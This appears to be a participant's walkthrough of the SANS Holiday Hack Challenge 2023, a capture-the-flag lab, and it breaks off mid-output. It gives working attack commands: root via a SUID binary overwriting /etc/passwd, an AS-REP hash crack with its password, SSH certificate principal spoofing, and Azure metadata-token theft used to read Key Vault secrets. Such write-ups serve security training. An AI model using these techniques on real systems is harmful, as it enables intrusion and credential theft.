Kringlecon 2023 - The Geese Islands
TLDR;
For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flag (CTF) during the xmas holidays.
You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.
More about the challenge can be found here:
https://holidayhackchallenge.com/2023
Geese Islands / Six Geese a lei’ing
Contents
- Story
- Christmas Island
- Misfit island
- Film noir island
- Pixel island
- Steampunk island
- Space Island
- Objective 1 aka holiday hack orientation
- Objective 2 aka snowball fight
- Objective 3 aka linux 101
- Objective 4 aka reportinator
- Objective 5 aka azure 101
- Objective 6 aka luggage lock
- Objective 7 aka linux privesc
- Objective 8 aka faster lock
- Objective 9 aka game cartridge vol 1
- Objective 10 aka game cartridge vol 2
- Objective 11 aka game cartridge vol 3
- Objective 12 aka na’an
- Objective 13 aka kql kraken hunt
- Objective 14 aka phish detection agency
- Objective 15 aka hashcat
- Objective 16 aka elf hunt
- Objective 17 aka certificate sshenanigans
- Objective 18 aka the captains comms
- Objective 19 aka active directory
- Objective 20 aka space island door access speaker
- Objective 21 aka camera access
- Objective 22 aka mission diversion
- Objective 23 aka bonus! fishing guide
- Objective 24 aka bonus! fishing mastery
Story
Just sit right back and you’ll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. It's ChatNPT
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow
Wow, a pirate theme!
Christmas Island
Orientation
This is the introduction for new starters Jingle Ringford introduces the user to the game, and how the Pi terminals work, and how you will be expected to travel the world, and complete your training and objectives.
Characters
- Jingle Ringford
Objects
- Fishing Pole
Orientation Pi
This is orientation for new players, basically introduces them to the format of elf’s asking questions, stating problems, and the raspberry pi training instances dotted around the world! … It’s all a simulation right! ;)
Asks you to type
answer
Objective 1 Complete!
Frosty beach
After Orientation, we jump back to our pirate ship and sail East… until we hit the port of Frosty Beach
Characters
- Goose of Christmas Island
- Santa
- Morcel Nougat
- Ginger Breddie
Snowball fight
Original URL:
- https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&roomId=187bac99f&roomType=public&gameType=co-op&id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&singlePlayer=false
Hmmm, the hint is defeat Santa we could do this collaboratively with a good partner. But theres another hint about a secret single player mode!
Tampered URL:
- https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&roomId=187bac99f&roomType=public&gameType=co-op&id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&singlePlayer=true
And we receive a viking friend that can throw several snowballs once in an arc, kinda makes it easy!
Hmmm…. it didnt register outside the iframe…
Hints
- chrisjd20 hint
- Its easiest to grab a friend play with and beat Santa but tinkering with client-side variables can grant you all kinds of snowball fight super powers. You could even take on Santa and the elves solo! An elf dropped this handy hint, so we can tamper the some other variables and beat santa in a co-op! – Morcel Nougat
In the screenshot above, you can see our calls, on the console, manipulating the game.
We found we could cheat by messing with the following:
- player.health
- elfThrowDelay
- SantaThrowDelay
- SnowballDmg
Completing this challenge gives us Objective 2
Linux 101
A simple primer to linux for new starters, as most of the Pi terminals are Linux containers.
These are a list of the commands we used in the 101 terminal:
yes
ls
cat troll*
rm troll*
pwd
ls -la
cat .tr*
history
env
cd workshop
grep -i troll -r *
chmod 755 pre*
./present_engine
cd ele*
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo TROLL_REPLELLANT > fuse2
find /opt/troll_den -iname troll*
find /opt/troll_den -user troll
find /opt/troll_den -type f -size +108k -size -110k
ps aux
netstat -tlnp | grep 14516_troll ???
netstat -napt
curl 127.0.0.1:54321
kill -9 <pid>
Completing this tutorial gives us Objective 3
Rudolphs nest
Characters
- Goose of Christmas Island
- Noel Bootie
- Sparkle Redberry
Reportinator
We are giving a HTTP interface to a report generating tool. The url is reportedly https://reportinator.elf/review/42 but actually its located here: Reportinator
Our thoughts and opinions on the chatNPT report findings:
- 1 - checks out
- 2 - write up is ok but the pic is not matching the description
- 3 - FAKE default image from github and suspicious port no 88555
- 4 - plausible & similar to alabaster’s chall so must be ok
- 5 - checks out
- 6 - FAKE but checks out normal and angular xss, maybe not together
- 7 - confusing image but ok
- 8 - checks out
- 9 - FAKE silly recommendation “modify the Location header to reflect the host Windows registration key”
Completing this challenge give us Objective 4
Azure 101
An introduction to the Azure Cli tool, again more for new starters.
References
Terminal Commands and Output:
az account show |less
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "northpole-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "northpole@northpole.invalid",
"type": "user"
}
az group list --output table
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
"location": "eastus",
"managedBy": null,
"name": "northpole-rg1",
"properties": {
"provisioningState": "Succeeded"
}, "tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
"location": "westus",
"managedBy": null,
"name": "northpole-rg2",
"properties": { "provisioningState": "Succeeded"
}, "tags": {} }
]
az functionapp list --resource-group northpole-rg1 --output table
az vm list --resource-group northpole-rg1 --output table
...
az vm list --resource-group northpole-rg2 --output table
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1",
"location": "eastus",
"name": "NP-VM1",
"properties": {
"hardwareProfile": {
"vmSize": "Standard_D2s_v3"
},
"provisioningState": "Succeeded",
"storageProfile": {
"imageReference": {
"offer": "UbuntuServer",
"publisher": "Canonical",
"sku": "16.04-LTS",
"version": "latest"
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "FromImage",
"managedDisk": {
"storageAccountType": "Standard_LRS"
},
"name": "VM1_OsDisk_1"
}
},
"vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
},
"resourceGroup": "northpole-rg2",
"tags": {}
}
]
az functionapp list --resource-group northpole-rg2 --output table
...
az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts "ls"
Completing this introduction to the Azure API gives us Objective 5
Resort Lobby
Characters
- Pepper Minstix
- Wunrose Openslae
Other
- Netwars
- Candy machine - come back at the end
Misfit Island
Scaredy Kite Heights
Characters
- Goose of the island of misfit toys
- Eve Snowshoes
Hashcat
Another introductory terminal, focusing on educating participants on modern password cracking techniques.
Hints
- ASREP (or -m 18200)
- -w 1 -u 1 –kernel-accel 1 –kernel-loops 1
- hash.txt
- password_list.txt
Put them altogether:
hashcat -m 18200 --force -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 -a 0 hash.txt password_list.txt
Output:
hashcat -m 18200 --force -a 0 hash.txt password_list.txt --show
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
Answer:
IluvC4ndyC4nes!
Completing this challenge gives us Objective 15
Ostrich Saloon
Characters
- Rose Mold
Linux priv esc
An introductory terminal has been implemented to educate new users on prevalent security vulnerabilities in Linux. The focus is on elucidating how these vulnerabilities may result in the escalation of privileges on a susceptible system.
Hints:
Our terminal commands and output:
elf@e2760b3a059c:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
elf@e2760b3a059c:~$ ls -l /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec 2 22:17 /usr/bin/simplecopy
elf@e2760b3a059c:~$ echo root::0:0:root:/root:/bin/bash > passwd
elf@e2760b3a059c:~$ /usr/bin/simplecopy ./passwd /etc/
elf@e2760b3a059c:~$ su
root@e2760b3a059c:/home/elf# ls
HELP bash passwd runmetoanswer simplecopy
# ./runmetoanser
Your answer: santa
Checking....
Your answer is correct!
Completing this challenge gives us Objective 7
Tarnished trove
Characters
- Dusty Giftwrap
Other
- One piece - luffy’s straw hat; treasure is close by….
- Cartridge volume 1
At this point the cartridge detector started pinging. We assume we picked up Cartridge Vol1 in this area!
Square wheel yard
Characters
- Goose of island misfit toys
- Poinsettia Mckittens
- Garland Candlesticks
Fishing
Poinsettia Mckittens
BONUS: Fishing Guide aka Objective 23
- have to fish 20x different types
- we spot this in the page source: fishdensityref.html
Once completed the challenge escalates to ….
BONUS: Fishing Mastery aka Objective 24
- collect at least 1x kind of every species of fish and return
- see walkthrough below
Luggage lock decode
Presented is another intriguing lockpicking challenge, requiring users to exploit a luggage lock—a real-world simulation designed to educate professionals about the vulnerabilities inherent in uncomplicated locking mechanisms.
Hints
Completing this challenge gives us Objective 6
Film Noir Island
Chiaroscuro city
Characters
- Wombley Cube
- Shift Mcshuffles
Nan Pi
Introducing a challenge aimed at raising awareness in Python gaming algorithms, emphasizing the significant impact of “NaN” (Not a Number) on altering the output of a game. This exercise seeks to underscore the importance of handling NaN effectively within gaming code.
Hints
- Python nan
- Real hint is in the name, strangely other than 0-9 we can also put nan on the cards.
How we won the game… constantly playing these cards:
- 0,1,8,9, nan
Objective 12 Completed
Gumshoe Alley PI Office
Characters
- Tangle Coalbox
Kusto Detective Agency
- Detective Kusto
- Sign up for a free account
Objective 13 Completed!
The Black Light District
Characters
- Goose of Film Noir Island
- Fitzy Shortstack
Phish Detection
The challenge is located: Phish Detector Looks fairly simple - bit of manual hard labour/analysis
Hints:
- Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare’s Guide. – Fitsy Shortstack
Quick notes, about what we looked for:
- marked all dmarc fails & bad signatures
- marked all external domains
- marked users with odd/different/wrong username conventions
Sender | Subject | Status |
---|---|---|
alice.smith@geeseislands.com | Summer Beach Cleanup Coordination | Safe |
david.jones@geeseislands.com | Tech Team’s Holiday Hackathon | Safe |
emily.white@geeseislands.com | Island Wildlife Conservation Efforts | Safe |
frank.harrison@geeseislands.com | Annual Budget Review and Forecasting | Safe |
grace.lee@geeseislands.com | Marketing for the Holiday Season | Safe |
harry.potter@geeseislands.com | Q4 Operational Excellence | Safe |
isabella.martin@geeseislands.com | Environmental Policies Legal Review | Safe |
jason.brown@geeseislands.com | Boosting End of Year Sales | Safe |
john.doe@geeseislands.com | Pacific Festive Celebrations Overview | Safe |
karen.evans@geeseislands.com | IT Infrastructure Upgrade Discussion | Safe |
laura.green@geeseislands.com | Security Protocol Briefing | Phishing |
laura.moore@geeseislands.com | Coral Reef Study Findings | Safe |
michael.roberts@geeseislands.com | Compliance Training Schedule Announcement | Phishing |
michael.taylor@geeseislands.com | Project Management Best Practices | Safe |
nancy.wilson@geeseislands.com | Client Engagement Enhancements | Safe |
nancy@geeseislands.com | Public Relations Strategy Meet | Phishing |
oliver.hill@geeseislands.com | Supply Chain Optimization Initiatives | Safe |
oliver.thomas@geeseislands.com | New Research Project Kickoff | Phishing |
patricia.johnson@geeseislands.com | Communication Skills Workshop | Safe |
quentin.adams@geeseislands.com | Quality Assurance Protocols Meeting | Safe |
quincy.adams@geeseislands.com | Networking Event Success Strategies | Phishing |
rachel.baker@geeseislands.com | Production Milestones Meeting | Safe |
rachel.brown@geeseislands.com | Customer Feedback Analysis Meeting | Phishing |
steven.clark@geeseislands.com | Employee Wellbeing Workshop | Safe |
steven.gray@geeseislands.com | Procurement Process Improvements | Phishing |
teresa.green@geeseislands.com | Financial Planning for 2024 | Safe |
uma.foster@geeseislands.com | Operational Efficiency Review | Safe |
ursula.morris@geeseislands.com | Legal Team Expansion Strategy | Phishing |
victor.davis@geeseislands.com | Invitation to Research Grant Meeting | Phishing |
victor.harris@geeseislands.com | IT Security Update | Safe |
wendy.mitchell@geeseislands.com | Holiday Marketing Brainstorm | Safe |
xavier.edwards@geeseislands.com | Year-End Sales Target Strategies | Safe |
xavier.jones@geeseislands.com | Urgent IT Security Update | Phishing |
yvonne.jackson@geeseislands.com | Enhancing Client Relationships Workshop | Safe |
Once complete, we are awarded Objective 14
Pixel Island
Drift Bit Grotto
Characters
- Tinsel Upatree
Other
- gameboy cartridge 2 Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2
Rainraster Cliffs
Characters
- Goose of Pixel Island
- Piney sappington
- Alabaster snowball
Elf Hunt
Hints
- JWT hack
- Not protected change speed
So we can use an intercepting proxy (like burp) to intercept the requests.
We can extract and decode JWT tokens at JWT.io
JWT contained:
{
"speed":-500
}
Just tamper with this value, and replace the in-game token usuing the intercepting proxy until the game is playable!
{ "speed":-100}
We can tamper with the value, through an intercepting proxy, or altering the cookie via the console:
They should be easier to hit, once we reach 75, the game is complete!
Objective 16 Completed!
SSHenanigans
Certificate SSHenanigans - Part 1 aka SSH Madness
Hints
- ssh-server-vm.santaworkshopgeeseislands.org
- Azure Functions App
- Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
- MS API Get-source-code
Starting the challenge
https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl
Ok so using the URL above, if we insert our public key it will sign it, and do some backend magic? automatically due to it being signed by the servers CA.
I generated a new ed25519 key just for this challenge : id_ed25519; id_ed25519.pub
ssh-keygen -t ed25519
Simple script - generated by chatgpt to help generate the signed cert inorder to sign in:
awk '{print $1, $2}' ./id_ed25519.pub | sed 's/ /": "/' | sed 's/^/{"/' | sed 's/$/"}/' | sed 's/ssh-ed25519/ssh_pub_key/' |sed 's/: "/: "ssh-ed25519 /' > postme
curl -X POST -H "Content-Type: application/json" -d @postme 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert > id_ed25519-cert.pub
Our returned string is formatted in json, copy contents of ssh_cert into a new file id_ed25519-cert.pub
Now, we can ssh into the server:
ssh monitor@ssh-server-vm.santaworkshopgeeseislands.org
Then look for a privilege escaltion, since it is an SSH challenge, lets check the SSH conf!
monitor@ssh-server-vm:~$ ls -la /etc/ssh/auth_principals/
total 16
drwxr-xr-x 1 root root 4096 Nov 7 21:37 .
drwxr-xr-x 1 root root 4096 Nov 9 14:07 ..
-rw-r--r-- 1 root root 6 Nov 7 21:37 alabaster
-rw-r--r-- 1 root root 4 Nov 7 21:37 monitor
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/monitor
elf
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
admin
This confirms the principals… If we can get a principal of admin we should be able to log in as alabaster!
Method 1 - Lucky Guess?
From the pentest report we know the azure function has an issue around the undocumented feature/parameter sign-principal ?
Doesn’t work? hmmmm…..
Maybe it got renamed to principal….
We can spoof principal!!!!
sh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec 6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
Method 2 - Use the source (Luke…)
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=
- subscriptions: 2b0942f3-9bca-484b-a508-abdae2db5e64
- resourceGroups: northpole-rg1
then we can build the API URL
- https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version=2022-03-01
But, first, we need an access_token:
export ACCESS_TOKEN=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com" -s | jq -r .access_token)
export our subscriptionId and resourceGroup into env’s:
export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1
curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version\=2022-03-01
{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web","name":"northpole-ssh-certs-fa","type":"Microsoft.Web/sites/sourcecontrols","location":"East US","tags":{"project":"northpole-ssh-certs","create-cert-func-url-path":"/api/create-cert?code=candy-cane-twirl"},"properties":{"repoUrl":"https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa","branch":"main","isManualIntegration":false,"isGitHubAction":true,"deploymentRollbackEnabled":false,"isMercurial":false,"provisioningState":"Succeeded","gitHubActionConfiguration":{"codeConfiguration":null,"containerConfiguration":null,"isLinux":true,"generateWorkflowFile":true,"workflowSettings":{"appType":"functionapp","publishType":"code","os":"linux","variables":{"runtimeVersion":"3.11"},"runtimeStack":"python","workflowApiVersion":"2020-12-01","useCanaryFusionServer":false,"authType":"publishprofile"}}}}
And we can extract the following publicly available URL: Northpile-ssh-certs-fa
Read the code, realise theres an extra parameter that can get submitted
- principal
Use burp intercept the request, add
, "principal":"admin"
Forward on the request.
Extract the signed ssh cert and repeat what we did earlier….
simple script:
awk '{print "{\"ssh_pub_key\": \"" $3 "\", \"principal\": \"admin\"}"}' ./id_ed25519.pub | \
jq -c '. + {"principal": "admin"}' > postme_admin
curl -X POST -H "Content-Type: application/json" -d @postme_admin \
'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert > id_ed25519-cert.pub
Once logged in as alabaster…
❯ ssh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec 6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov 9 14:07 .
drwxr-xr-x 1 root root 4096 Nov 3 16:50 ..
-rw-r--r-- 1 alabaster alabaster 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov 9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov 9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster 807 Apr 23 2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov 9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov 9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov 9 14:07 impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md
Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
alabaster@ssh-server-vm:~$
Objective 17 complete
AD challenge
SSHenanigans - Part 2 aka The Active Directory Review
curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-02-01|jq -r .
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "ssh-server-vm",
"offer": "",
"osProfile": {
"adminUsername": "",
"computerName": "",
"disablePasswordAuthentication": ""
},
"osType": "Linux",
"placementGroupId": "",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "0",
"platformUpdateDomain": "0",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "",
"resourceGroupName": "northpole-rg1",
"resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "",
"storageProfile": {
"dataDisks": [],
"imageReference": {
"id": "",
"offer": "",
"publisher": "",
"sku": "",
"version": ""
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "Attach",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
"storageAccountType": "Standard_LRS"
},
"name": "ssh-server-vm_os_disk",
"osType": "Linux",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "38912"
}
},
"subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"tags": "Project:HHC23",
"tagsList": [
{
"name": "Project",
"value": "HHC23"
}
],
"userData": "",
"version": "",
"vmId": "dc64208e-c208-446d-8288-7f2488035e34",
"vmScaleSetName": "",
"vmSize": "Standard_B2s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "10.0.0.50",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "10.0.0.0",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "7C1E520227A2"
}
]
}
}
We know our privateIpAddress: “10.0.0.50”,
We know we are on a cloud instance, next we try to grab an Azure API Access Token from the Meta-data service:
ACCESS_TOKEN=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com" -s | jq -r .access_token)
Next, we set some other important variables as ENVs:
export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1
Next we need to check our API permissions:
$ curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01
{"value":[{"actions":["Microsoft.KeyVault/vaults/read","Microsoft.KeyVault/vaults/secrets/read","Microsoft.Web/sites/sourcecontrols/Read","microsoft.web/sites/functions/read","Microsoft.Resources/subscriptions/resourceGroups/read"],"notActions":[],"dataActions":["Microsoft.KeyVault/vaults/secrets/getSecret/action","Microsoft.KeyVault/vaults/secrets/readMetadata/action"],"notDataActions":[]}]}
try again cleaner output:
curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/sp/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01 -s |jq -r
{
"value": [
{
"actions": [
"Microsoft.KeyVault/vaults/read",
"Microsoft.KeyVault/vaults/secrets/read",
"Microsoft.Web/sites/sourcecontrols/Read",
"microsoft.web/sites/functions/read",
"Microsoft.Resources/subscriptions/resourceGroups/read"
],
"notActions": [],
"dataActions": [
"Microsoft.KeyVault/vaults/secrets/getSecret/action",
"Microsoft.KeyVault/vaults/secrets/readMetadata/action"
],
"notDataActions": []
}
]
}
Digging deeper, into Keyvault permissions:
curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/\?api-version\=2023-07-01 -s|jq -r
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-11-12T01:47:13.059Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-11-12T01:50:52.742Z"
},
"properties": {
"sku": {
"family": "A",
"name": "standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
"permissions": {
"keys": [
"all"
],
"secrets": [
"all"
],
"certificates": [
"all"
],
"storage": [
"all"
]
}
},
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
"permissions": {
"secrets": [
"get"
]
}
}
],
"enabledForDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
],
"nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/?api-version=2023-07-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
Try to access vaults:
curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/secrets\?api-version\=2023-07-01|jq -r
error - permission denied!
Looks like we need a to obtain a new access_token for vault.azure.net
ACCESS_TOKENA=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" |jq -r .access_token)
Now try the vault again:
$ curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/\?api-version\=7.4|jq -r
{
"value": [
{
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
],
"nextLink": null
}
Wohoo! Found a script, hopefully its spicey!
curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript\?api-version\=7.4|jq -r
{
